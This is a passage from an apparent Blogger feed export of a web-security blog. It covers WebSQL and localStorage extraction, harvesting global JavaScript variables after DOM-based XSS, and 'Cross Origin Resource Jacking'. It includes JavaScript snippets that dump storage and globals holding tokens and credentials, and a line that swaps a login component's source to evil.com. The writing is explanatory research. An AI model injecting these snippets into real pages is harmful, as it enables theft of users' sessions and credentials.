x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; });&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }catch(ex){}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: x-small;"&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: x-small;"&gt;if(table.rows.length&amp;gt;1)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; usertable=table.rows.item(1).name;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l1 level1 lfo2; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;a.)&lt;span style="font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;!--[endif]--&gt;We will run through all objects and get objectwhere constructor is “Database”&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l1 level1 lfo2; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;b.)&lt;span style="font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;!--[endif]--&gt;We will make Select query directly tosqlite_master database&lt;/div&gt;&lt;div class="MsoNoSpacing" style="margin-left: .5in; mso-list: l1 level1 lfo2; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;c.)&lt;span style="font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;!--[endif]--&gt;We will grab 1&lt;sup&gt;st&lt;/sup&gt; table leaving webkittable on 0&lt;sup&gt;th&lt;/sup&gt; entry&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;We got the actual table name residing on WebSQL forthis application, next we can run SQL query and loop through results.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;a href="http://1.bp.blogspot.com/-vwfzjd7GIfM/TwgvVvhOdFI/AAAAAAAAANs/9O8qYjPfgzQ/s1600/fig1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="175" src="http://1.bp.blogspot.com/-vwfzjd7GIfM/TwgvVvhOdFI/AAAAAAAAANs/9O8qYjPfgzQ/s400/fig1.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;We got the name of the table and now we can use same database object to run the query through script.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;a href="http://2.bp.blogspot.com/-7YRw2fzTG9E/Twgvw9_uWNI/AAAAAAAAAN0/r0f8_GckImQ/s1600/fig2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="71" src="http://2.bp.blogspot.com/-7YRw2fzTG9E/Twgvw9_uWNI/AAAAAAAAAN0/r0f8_GckImQ/s400/fig2.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Hence, it can be part of payload during testing to fetchdata remotely.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;b&gt;Blind Storage Enumeration&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Storage enumeration is relatively easy, We can check forobject length for local or session storage and if it is not zero run a loop andget all values. We can use following code for localStorage.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;if(localStorage.length){&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; console.log(localStorage.length)&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(iin localStorage){&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; console.log(i)&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; console.log(localStorage.getItem(i));&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;}&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Here is the output for the call.&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;a href="http://4.bp.blogspot.com/-NsIHLjLh65E/TwgwAwjMY_I/AAAAAAAAAN8/97cql-YgqvU/s1600/fig3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="188" src="http://4.bp.blogspot.com/-NsIHLjLh65E/TwgwAwjMY_I/AAAAAAAAAN8/97cql-YgqvU/s400/fig3.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-8675292591685457152?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8675292591685457152'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8675292591685457152'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2012/01/blind-websql-and-storage-extraction-for.html' title='Blind WebSQL and Storage extraction for HTML5 Apps'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-vwfzjd7GIfM/TwgvVvhOdFI/AAAAAAAAANs/9O8qYjPfgzQ/s72-c/fig1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-1175142317610330407</id><published>2012-01-04T05:35:00.000-08:00</published><updated>2012-01-04T05:35:43.250-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DOM based XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='JSON'/><category scheme='http://www.blogger.com/atom/ns#' term='DOM injection'/><title type='text'>Global Sensitive Information Extraction from DOM – post DOM based XSS</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;DOM centered single page HTML5 and Web 2.0 applications are using GLOBALvariables to manage client side critical information. During consulting we haveseen few applications managing client side session data on GLOBALS. Theseglobal objects are using JSON or Array. In some cases they are string as well. &lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;For example,&lt;/div&gt;&lt;div class="MsoNormal"&gt;Once user gets authenticated it gets a Script tag and alongwith an array like below to set global set of variables.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;var arrayGlobals =['my@email.com',"12141hewvsdr9321343423mjfdvint","test.com"];&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;In many cases it has sensitive information like tokens,public profile URLs, private URLs for information access, cross domain oAuthvalues, user/pass as temp variables etc. It has interesting set of informationand it can be extracted in case of DOM based XSS. These DOM driven applicationsare single page and these set of values are accessible across application life cycle.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Here is an example of extracting JSON, Array and string frombrowser. It can be used as part of XSS testing and exploitation once it isfound. It is interesting to add in XSS exploitation tools like BeeF. We areusing it with node.js and customized payload for our routine test cases.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Below script will look for object and using JSON.stringfyfor Firefox only else jquery plugin can help.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;for(i in window){&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; obj=window[i];&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(obj!=null||obj!=undefined)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var type = typeof(obj);&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(type=="object"||type=="string")&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;console.log("Name:"+i)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try{&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;my=JSON.stringify(obj);&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;console.log(my)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}catch(ex){}&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Just to fetch extracted values we are running in firebugand redirecting on console. &lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-9s6NIC1ZzaU/TwRUQzMfqjI/AAAAAAAAANk/CnJpo9E2Mcs/s1600/fig.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="75" src="http://1.bp.blogspot.com/-9s6NIC1ZzaU/TwRUQzMfqjI/AAAAAAAAANk/CnJpo9E2Mcs/s400/fig.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Really interesting stuff – check with your popularmailing and social networking sites.&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-1175142317610330407?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1175142317610330407'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1175142317610330407'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2012/01/global-sensitive-information-extraction.html' title='Global Sensitive Information Extraction from DOM – post DOM based XSS'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-9s6NIC1ZzaU/TwRUQzMfqjI/AAAAAAAAANk/CnJpo9E2Mcs/s72-c/fig.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-3968726276142323089</id><published>2011-12-22T22:55:00.000-08:00</published><updated>2011-12-23T21:50:19.212-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DOM based XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='CORJacking'/><category scheme='http://www.blogger.com/atom/ns#' term='HTML5'/><category scheme='http://www.blogger.com/atom/ns#' term='RIA Security'/><category scheme='http://www.blogger.com/atom/ns#' term='CORS'/><category scheme='http://www.blogger.com/atom/ns#' term='DOM injection'/><title type='text'>Cross Origin Resource Jacking (CORJacking) - DOM based attack vector</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;CSRF and UI Redressing (Click/Tab/Event Jacking) attackvectors are popular ways to abuse cross domain HTTP calls and events. HTML5, Web2.0 and RIA (Flash/Silverlight) applications are loaded in browser with nativestate or using plug-ins. DOM used to be an integral part of the browser and nowit is becoming even more important aspect with reference to web applications.Web applications are using DOM in very complex and effective way to serve theirclient better and leveraging all possible features allowed by DOM specifications.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;There are many applications run as single DOM app and onceit gets loaded, it remains in scope across the application life cycle. CORS andSOP have to play critical role in protecting Cross Origin Resources and control relevantHTTP calls. HTML5 and RIA applications are having various different resources likeFlash files, Silverligh, video, audio etc. These resources are loaded in theirown little object space which is defined by specific tag. These resources areaccessible by DOM and can be manipulated as well. If DOM is forced tochange underlying resource on the fly and replaced by cross origin/domainresource then it causes Cross Origin Resource Jacking (CROJacking).&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Example,&lt;/div&gt;&lt;div class="MsoNormal"&gt;Let’s assume there are two domains – foobank.com andevil.com. Foobank application is having flash driven application and it has itsown login swf (login.swf) file. This flash component is loaded via object inthe browser. If by DOM call this login.swf file is replaced by similar fileresiding on evil.com then it will cause CORJacking and user would be underimpression that he/she is using foobank.com resources. Also, reverse would bepossible as well. Evil.com loads resources residing on Foobank.com domain and itwill cause reverse CORJacking.&lt;br /&gt;&lt;br /&gt;Here is a small &lt;b&gt;&lt;a href="http://dl.dropbox.com/u/20164712/CORJacking/flashjacking.htm" target="_blank"&gt;DEMO&lt;/a&gt;&lt;/b&gt; of CORJacking with Flash resource.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Here is the object tag loading flash component&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-0OKm1xBYs24/TvQiskIdp2I/AAAAAAAAANE/5Xox9UpkFuo/s1600/html.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="87" src="http://2.bp.blogspot.com/-0OKm1xBYs24/TvQiskIdp2I/AAAAAAAAANE/5Xox9UpkFuo/s400/html.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;HTML page is loaded in the browser and this object which iscoming from foobank.com domain is being loaded. Assuming this page has DOMbased issue and possible to inject/manipulate this value. Hence, if we want toaccess src of this object tag then through DOM we get its access.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-d-bfd-sAevE/TvQi-zirSFI/AAAAAAAAANY/YnxotIPgNE8/s1600/call.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="70" src="http://2.bp.blogspot.com/-d-bfd-sAevE/TvQi-zirSFI/AAAAAAAAANY/YnxotIPgNE8/s400/call.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Interestingly document.getElementsByName(‘Login’).item(0).srcis not just read only value, one can assign a cross origin resource to it onthe fly.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Hence, below line will actually change the resource andloads login.swf file from evil.com domain.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;i&gt;&lt;b&gt;document.getElementsByName(‘Login’).item(0).src = ‘http://evil.com/login.swf’&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;This will clearly hijack the resource and user will be underimpression that it is negotiating with foobank’s login component but actualcomponent is from evil domain. This is the case of CORJacking and reverse canbe done as well. Evil domain can load Foobank component and causes reverseCORJacking. &lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Since browser is allowing these Cross Origin Resource accessone needs to embed defense in similar way we are doing for ClickJacking.Before component being loaded, component should have sense of domain anddisallow its execution on cross domain as far as reverse CORJacking is concern.For CORJacking one needs to lock object using JavaScript, controlling streamand avoid DOM based injection issues to stop CORJacking exploitation.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;[Note – This type of loading is not restricted to one typeof resource only, it is applicable to different types of resources and browser's ability to process cross origin resource loading. It is possible to createvarious different variants of these attack vector like flashjacking, silverlightjacking,mediajacking etc. inherited from UI redressing family - interesting area for research, will add a paper on it soon.]&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-3968726276142323089?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/3968726276142323089'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/3968726276142323089'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2011/12/cross-origin-resource-jacking.html' title='Cross Origin Resource Jacking (CORJacking) - DOM based attack vector'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-0OKm1xBYs24/TvQiskIdp2I/AAAAAAAAANE/5Xox9UpkFuo/s72-c/html.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-7223359993848477898</id><published>2011-12-08T22:05:00.001-08:00</published><updated>2011-12-08T22:11:56.901-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HTML5'/><title type='text'>Top 10 HTML5 Threats &amp; Attack Vectors</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span style="font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11pt; line-height: 115%;"&gt;Emerging as popular standard to create Rich Internet Applications and competing with technology stacks like Adobe’s Flex/Flash and Microsoft’s Silverlight is&amp;nbsp; HTML5[1]. HTML5 brings several new features and functionalities that allow developers to create really attractive and robust applications.&amp;nbsp; These applications can run on any browser and platform, although with some limitations. HTML5 applications are also supported by mobile devices. Hence, you can create your application once and run it on several devices and browsers. Each time, every new technology stack throws up new security challenges and vulnerabilities. HTML 5, though very promising, is no different. There are security concerns that need to be addressed when creating applications. Let us look at the top 10 possible attack vectors associated with HTML5 and modern browser architecture.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11pt; line-height: 115%;"&gt;Read full article &lt;a href="http://www.net-security.org/article.php?id=1656" target="_blank"&gt;here &lt;/a&gt;(net-security.org)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11pt; line-height: 115%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;&lt;span style="font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11pt; line-height: 115%;"&gt;Top 10 Attack Vectors&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="MsoNormalCxSpFirst"&gt;1.&amp;nbsp; ClickJacking&amp;amp; Phishing by mixing layers and iframe&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div class="MsoNormalCxSpMiddle"&gt;2.&amp;nbsp; CSRFand leveraging CORS to bypass 